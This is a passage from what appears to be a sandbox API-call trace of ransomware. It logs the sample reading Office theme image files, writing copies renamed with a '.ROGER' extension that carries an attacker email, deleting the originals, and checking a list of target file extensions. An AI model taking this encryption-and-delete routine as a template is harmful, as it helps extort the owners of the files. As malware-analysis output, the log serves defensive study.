SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0048.746] GetLastError () returned 0x0 [0048.746] ReadFile (in: hFile=0x340, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0048.748] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0048.749] ReadFile (in: hFile=0x340, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.749] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.749] SetEndOfFile (hFile=0x3e0) returned 1 [0048.749] CloseHandle (hObject=0x3e0) returned 1 [0048.749] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.749] SetEndOfFile (hFile=0x340) returned 1 [0048.750] CloseHandle (hObject=0x340) returned 1 [0048.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.751] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0048.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.751] lstrlenW (lpString=".doc") returned 4 [0048.751] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.751] lstrlenW (lpString=".docx") returned 5 [0048.751] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.751] lstrlenW (lpString=".pdf") returned 4 [0048.751] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.751] lstrlenW (lpString=".xls") returned 4 [0048.751] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.751] lstrlenW (lpString=".xlsx") returned 5 [0048.751] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.751] lstrlenW (lpString=".ppt") returned 4 [0048.751] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.751] lstrlenW (lpString=".zip") returned 4 [0048.751] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.751] lstrlenW (lpString=".rar") returned 4 [0048.751] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.751] lstrlenW (lpString=".bz2") returned 4 [0048.751] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.751] lstrlenW (lpString=".7z") returned 3 [0048.751] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.751] lstrlenW (lpString=".dbf") returned 4 [0048.751] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.752] lstrlenW (lpString=".1cd") returned 4 [0048.752] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.752] lstrlenW (lpString=".jpg") returned 4 [0048.752] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.752] lstrlenW (lpString=".doc") returned 4 [0048.752] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.752] lstrlenW (lpString=".docx") returned 5 [0048.752] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.752] lstrlenW (lpString=".pdf") returned 4 [0048.752] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.752] lstrlenW (lpString=".xls") returned 4 [0048.752] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.752] lstrlenW (lpString=".xlsx") returned 5 [0048.752] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.752] lstrlenW (lpString=".ppt") returned 4 [0048.752] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.752] lstrlenW (lpString=".zip") returned 4 [0048.752] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.752] lstrlenW (lpString=".rar") returned 4 [0048.752] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.752] lstrlenW (lpString=".bz2") returned 4 [0048.752] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.752] lstrlenW (lpString=".7z") returned 3 [0048.752] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.752] lstrlenW (lpString=".dbf") returned 4 [0048.752] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.753] lstrlenW (lpString=".1cd") returned 4 [0048.753] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.753] lstrlenW (lpString=".jpg") returned 4 [0048.753] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.753] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.753] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.753] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1423) returned 1 [0048.753] CloseHandle (hObject=0x340) returned 1 [0048.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0048.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.754] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.754] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.056] GetLastError () returned 0x0 [0049.056] ReadFile (in: hFile=0x340, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x58f, lpOverlapped=0x0) returned 1 [0049.082] WriteFile (in: hFile=0x36c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x590, lpOverlapped=0x0) returned 1 [0049.083] ReadFile (in: hFile=0x340, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.083] WriteFile (in: hFile=0x36c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.083] SetEndOfFile (hFile=0x36c) returned 1 [0049.083] CloseHandle (hObject=0x36c) returned 1 [0049.083] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.083] SetEndOfFile (hFile=0x340) returned 1 [0049.084] CloseHandle (hObject=0x340) returned 1 [0049.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.084] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0049.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.084] lstrlenW (lpString=".doc") returned 4 [0049.084] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.085] lstrlenW (lpString=".docx") returned 5 [0049.085] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.085] lstrlenW (lpString=".pdf") returned 4 [0049.085] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.085] lstrlenW (lpString=".xls") returned 4 [0049.085] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.085] lstrlenW (lpString=".xlsx") returned 5 [0049.085] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.085] lstrlenW (lpString=".ppt") returned 4 [0049.085] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.085] lstrlenW (lpString=".zip") returned 4 [0049.085] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.085] lstrlenW (lpString=".rar") returned 4 [0049.085] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.085] lstrlenW (lpString=".bz2") returned 4 [0049.085] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.085] lstrlenW (lpString=".7z") returned 3 [0049.085] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.085] lstrlenW (lpString=".dbf") returned 4 [0049.085] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.085] lstrlenW (lpString=".1cd") returned 4 [0049.085] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.085] lstrlenW (lpString=".jpg") returned 4 [0049.085] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.085] lstrlenW (lpString=".doc") returned 4 [0049.085] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.086] lstrlenW (lpString=".docx") returned 5 [0049.086] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.086] lstrlenW (lpString=".pdf") returned 4 [0049.086] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.086] lstrlenW (lpString=".xls") returned 4 [0049.086] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.086] lstrlenW (lpString=".xlsx") returned 5 [0049.086] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.086] lstrlenW (lpString=".ppt") returned 4 [0049.086] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.086] lstrlenW (lpString=".zip") returned 4 [0049.086] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.086] lstrlenW (lpString=".rar") returned 4 [0049.086] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.086] lstrlenW (lpString=".bz2") returned 4 [0049.086] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.086] lstrlenW (lpString=".7z") returned 3 [0049.086] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.086] lstrlenW (lpString=".dbf") returned 4 [0049.086] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.086] lstrlenW (lpString=".1cd") returned 4 [0049.086] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.086] lstrlenW (lpString=".jpg") returned 4 [0049.086] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.086] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0049.087] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.602] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=29305) returned 1 [0049.612] CloseHandle (hObject=0x358) returned 1 [0049.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0049.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.626] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.626] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0049.626] GetLastError () returned 0x0 [0049.626] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x7279, lpOverlapped=0x0) returned 1 [0049.628] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x7280, lpOverlapped=0x0) returned 1 [0049.630] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.630] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.630] SetEndOfFile (hFile=0x3ac) returned 1 [0049.630] CloseHandle (hObject=0x3ac) returned 1 [0049.630] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.630] SetEndOfFile (hFile=0x390) returned 1 [0049.631] CloseHandle (hObject=0x390) returned 1 [0049.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.632] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0049.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.632] lstrlenW (lpString=".doc") returned 4 [0049.632] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.632] lstrlenW (lpString=".docx") returned 5 [0049.632] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.632] lstrlenW (lpString=".pdf") returned 4 [0049.632] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.632] lstrlenW (lpString=".xls") returned 4 [0049.632] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.632] lstrlenW (lpString=".xlsx") returned 5 [0049.632] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.632] lstrlenW (lpString=".ppt") returned 4 [0049.632] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.632] lstrlenW (lpString=".zip") returned 4 [0049.632] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.632] lstrlenW (lpString=".rar") returned 4 [0049.632] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.632] lstrlenW (lpString=".bz2") returned 4 [0049.632] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.632] lstrlenW (lpString=".7z") returned 3 [0049.632] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.633] lstrlenW (lpString=".dbf") returned 4 [0049.633] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.633] lstrlenW (lpString=".1cd") returned 4 [0049.633] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.633] lstrlenW (lpString=".jpg") returned 4 [0049.633] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.633] lstrlenW (lpString=".doc") returned 4 [0049.633] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.633] lstrlenW (lpString=".docx") returned 5 [0049.633] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.633] lstrlenW (lpString=".pdf") returned 4 [0049.633] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.633] lstrlenW (lpString=".xls") returned 4 [0049.633] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.633] lstrlenW (lpString=".xlsx") returned 5 [0049.633] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.633] lstrlenW (lpString=".ppt") returned 4 [0049.633] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.633] lstrlenW (lpString=".zip") returned 4 [0049.633] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.633] lstrlenW (lpString=".rar") returned 4 [0049.633] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.633] lstrlenW (lpString=".bz2") returned 4 [0049.633] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.633] lstrlenW (lpString=".7z") returned 3 [0049.634] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.634] lstrlenW (lpString=".dbf") returned 4 [0049.634] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.634] lstrlenW (lpString=".1cd") returned 4 [0049.634] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0049.634] lstrlenW (lpString=".jpg") returned 4 [0049.634] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.634] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0049.634] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.635] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=19525) returned 1 [0049.635] CloseHandle (hObject=0x390) returned 1 [0049.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0049.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.636] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.636] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: 